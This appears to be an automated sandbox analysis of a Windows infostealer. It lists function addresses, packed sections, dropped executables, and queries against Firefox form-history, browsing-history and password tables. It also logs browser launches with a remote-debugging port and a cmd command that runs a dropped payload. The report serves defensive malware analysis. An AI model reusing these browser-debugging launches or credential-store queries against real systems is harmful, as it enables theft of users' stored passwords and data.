Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57AC60	0_2_6C57AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64AC30	0_2_6C64AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C636C00	0_2_6C636C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CECD0	0_2_6C5CECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56ECC0	0_2_6C56ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63ED70	0_2_6C63ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69AD50	0_2_6C69AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F8D20	0_2_6C6F8D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FCDC0	0_2_6C6FCDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C574DB0	0_2_6C574DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C606D90	0_2_6C606D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60EE70	0_2_6C60EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C650E20	0_2_6C650E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57AEC0	0_2_6C57AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C610EC0	0_2_6C610EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F6E90	0_2_6C5F6E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C632F70	0_2_6C632F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DEF40	0_2_6C5DEF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C576F10	0_2_6C576F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B0F20	0_2_6C6B0F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64EFF0	0_2_6C64EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C570FE0	0_2_6C570FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B8FB0	0_2_6C6B8FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57EFB0	0_2_6C57EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C644840	0_2_6C644840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C0820	0_2_6C5C0820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FA820	0_2_6C5FA820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6768E0	0_2_6C6768E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A8960	0_2_6C5A8960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C6900	0_2_6C5C6900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68C9E0	0_2_6C68C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A49F0	0_2_6C5A49F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6009A0	0_2_6C6009A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62A9A0	0_2_6C62A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6309B0	0_2_6C6309B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ECA70	0_2_6C5ECA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C628A30	0_2_6C628A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61EA00	0_2_6C61EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EEA80	0_2_6C5EEA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C676BE0	0_2_6C676BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C610BA0	0_2_6C610BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C588460	0_2_6C588460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FA430	0_2_6C5FA430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D4420	0_2_6C5D4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B64D0	0_2_6C5B64D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60A4D0	0_2_6C60A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A480	0_2_6C69A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C610570	0_2_6C610570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C8540	0_2_6C5C8540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674540	0_2_6C674540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B8550	0_2_6C6B8550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D2560	0_2_6C5D2560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63A5E0	0_2_6C63A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FE5F0	0_2_6C5FE5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5645B0	0_2_6C5645B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CC650	0_2_6C5CC650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60E6E0	0_2_6C60E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5946D0	0_2_6C5946D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CE6E0	0_2_6C5CE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F0700	0_2_6C5F0700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59A7D0	0_2_6C59A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BE070	0_2_6C5BE070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63C000	0_2_6C63C000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C638010	0_2_6C638010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C568090	0_2_6C568090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64C0B0	0_2_6C64C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5800B0	0_2_6C5800B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D8140	0_2_6C5D8140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C654130	0_2_6C654130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E6130	0_2_6C5E6130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5701E0	0_2_6C5701E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C608250	0_2_6C608250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F8260	0_2_6C5F8260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648220	0_2_6C648220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63A210	0_2_6C63A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F62C0	0_2_6C6F62C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6422A0	0_2_6C6422A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E2B0	0_2_6C63E2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68C360	0_2_6C68C360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C606370	0_2_6C606370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C578340	0_2_6C578340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B2370	0_2_6C6B2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C572370	0_2_6C572370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E2320	0_2_6C5E2320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C43E0	0_2_6C5C43E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CE3B0	0_2_6C5CE3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A23A0	0_2_6C5A23A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C573C40	0_2_6C573C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699C40	0_2_6C699C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C581C30	0_2_6C581C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C631CE0	0_2_6C631CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6ADCD0	0_2_6C6ADCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D3D00	0_2_6C5D3D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C641DC0	0_2_6C641DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C563D80	0_2_6C563D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9D90	0_2_6C6B9D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F5E60	0_2_6C6F5E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CBE70	0_2_6C6CBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67DE10	0_2_6C67DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C593EC0	0_2_6C593EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C7F20	0_2_6C6C7F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C565F30	0_2_6C565F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A5F20	0_2_6C5A5F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61BFF0	0_2_6C61BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68DFC0	0_2_6C68DFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F3FC0	0_2_6C6F3FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C591F90	0_2_6C591F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CD810	0_2_6C5CD810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64F8F0	0_2_6C64F8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CB8F0	0_2_6C6CB8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57D8E0	0_2_6C57D8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A38E0	0_2_6C5A38E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62D960	0_2_6C62D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EF960	0_2_6C5EF960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C625920	0_2_6C625920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BF900	0_2_6C6BF900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A99D0	0_2_6C5A99D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6079F0	0_2_6C6079F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6099C0	0_2_6C6099C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D59F0	0_2_6C5D59F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C581980	0_2_6C581980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C641990	0_2_6C641990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F9A50	0_2_6C6F9A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AFA10	0_2_6C5AFA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66DA30	0_2_6C66DA30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00ADE530	22_2_00ADE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00B178BB	22_2_00B178BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00B18860	22_2_00B18860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00B17049	22_2_00B17049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00B131A8	22_2_00B131A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00AD4DE0	22_2_00AD4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00B12D10	22_2_00B12D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00B1779B	22_2_00B1779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00B07F36	22_2_00B07F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00AD4B30	22_2_00AD4B30
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: 23_2_00D33990	23_2_00D33990
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: 23_2_00D32A30	23_2_00D32A30
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: 23_2_00D31D70	23_2_00D31D70
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: 23_2_00D31000	23_2_00D31000
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: 23_2_00D371D0	23_2_00D371D0
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: 23_2_00D361C0	23_2_00D361C0
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: 23_2_00D49932	23_2_00D49932
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: 23_2_00D31340	23_2_00D31340
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: 23_2_00D34490	23_2_00D34490
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: 23_2_00D35C70	23_2_00D35C70
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: 23_2_00D34C70	23_2_00D34C70
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: 23_2_00D33500	23_2_00D33500

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5CC5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6A9F30 appears 32 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C599B10 appears 88 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C593620 appears 81 times
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Code function: String function: 00D3A610 appears 42 times

Source: file.exe, 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2608416094.000000006F8F2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2602246005.0000000023380000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.2602246005.0000000023380000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmO vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: zqmibjwx ZLIB complexity 0.9946312881097561
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.998046875
Source: random[1].exe.0.dr	Static PE information: Section: hrzfzjyg ZLIB complexity 0.994679787477148
Source: DocumentsJEHJKJEBGH.exe.0.dr	Static PE information: Section: ZLIB complexity 0.998046875
Source: DocumentsJEHJKJEBGH.exe.0.dr	Static PE information: Section: hrzfzjyg ZLIB complexity 0.994679787477148
Source: skotes.exe.20.dr	Static PE information: Section: ZLIB complexity 0.998046875
Source: skotes.exe.20.dr	Static PE information: Section: hrzfzjyg ZLIB complexity 0.994679787477148
Source: vg9qcBa[1].exe.22.dr	Static PE information: Section: .ROL ZLIB complexity 1.000337184446254
Source: vg9qcBa.exe.22.dr	Static PE information: Section: .ROL ZLIB complexity 1.000337184446254
Source: random[1].exe.22.dr	Static PE information: Section: tdbqqdnq ZLIB complexity 0.9944896332440811
Source: c2fcbf308b.exe.22.dr	Static PE information: Section: tdbqqdnq ZLIB complexity 0.9944896332440811
Source: random[2].exe0.22.dr	Static PE information: Section: ZLIB complexity 0.9982344267384106
Source: random[2].exe0.22.dr	Static PE information: Section: qlwzmoic ZLIB complexity 0.9941517924315377
Source: 684030933f.exe.22.dr	Static PE information: Section: ZLIB complexity 0.9982344267384106
Source: 684030933f.exe.22.dr	Static PE information: Section: qlwzmoic ZLIB complexity 0.9941517924315377
Source: random[1].exe0.22.dr	Static PE information: Section: zqmibjwx ZLIB complexity 0.9946312881097561
Source: 27ee25f0d2.exe.22.dr	Static PE information: Section: zqmibjwx ZLIB complexity 0.9946312881097561

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@116/327@58/36

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5D0300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6C5D0300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\QS0SWOT1.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6024:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5988:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7716:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8740:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5820:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6224:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2788:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\c740396a-7112-4583-8837-859a0e18837b.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: file.exe, 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2592725338.000000001D227000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2607244102.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2592725338.000000001D227000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2607244102.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2592725338.000000001D227000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2607244102.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2571085953.000000000112E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT fieldname, value FROM moz_formhistory;
Source: file.exe, 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2592725338.000000001D227000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2607244102.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, file.exe, 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2592725338.000000001D227000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2607244102.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2592725338.000000001D227000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2607244102.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2592725338.000000001D227000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2607244102.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 27ee25f0d2.exe, 0000001D.00000002.3160151748.000000000179E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT url FROM moz_places LIMIT 1000;0
Source: file.exe, 00000000.00000003.2227440684.000000001D125000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2351817508.000000001D119000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3067027731.000000000551A000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3094778352.00000000055B1000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3066633390.0000000005537000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3094778352.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3228874108.0000000005EFB000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3226927237.0000000005F18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2592725338.000000001D227000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2607244102.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000000.00000002.2592725338.000000001D227000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2607244102.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsJEHJKJEBGH.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2128,i,4747285852145405260,18208468525557755224,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2316,i,4353943364485129938,16843632681257069434,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2764 --field-trial-handle=2692,i,13522220133410555442,15849033741105392490,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6520 --field-trial-handle=2692,i,13522220133410555442,15849033741105392490,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6812 --field-trial-handle=2692,i,13522220133410555442,15849033741105392490,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJEHJKJEBGH.exe"
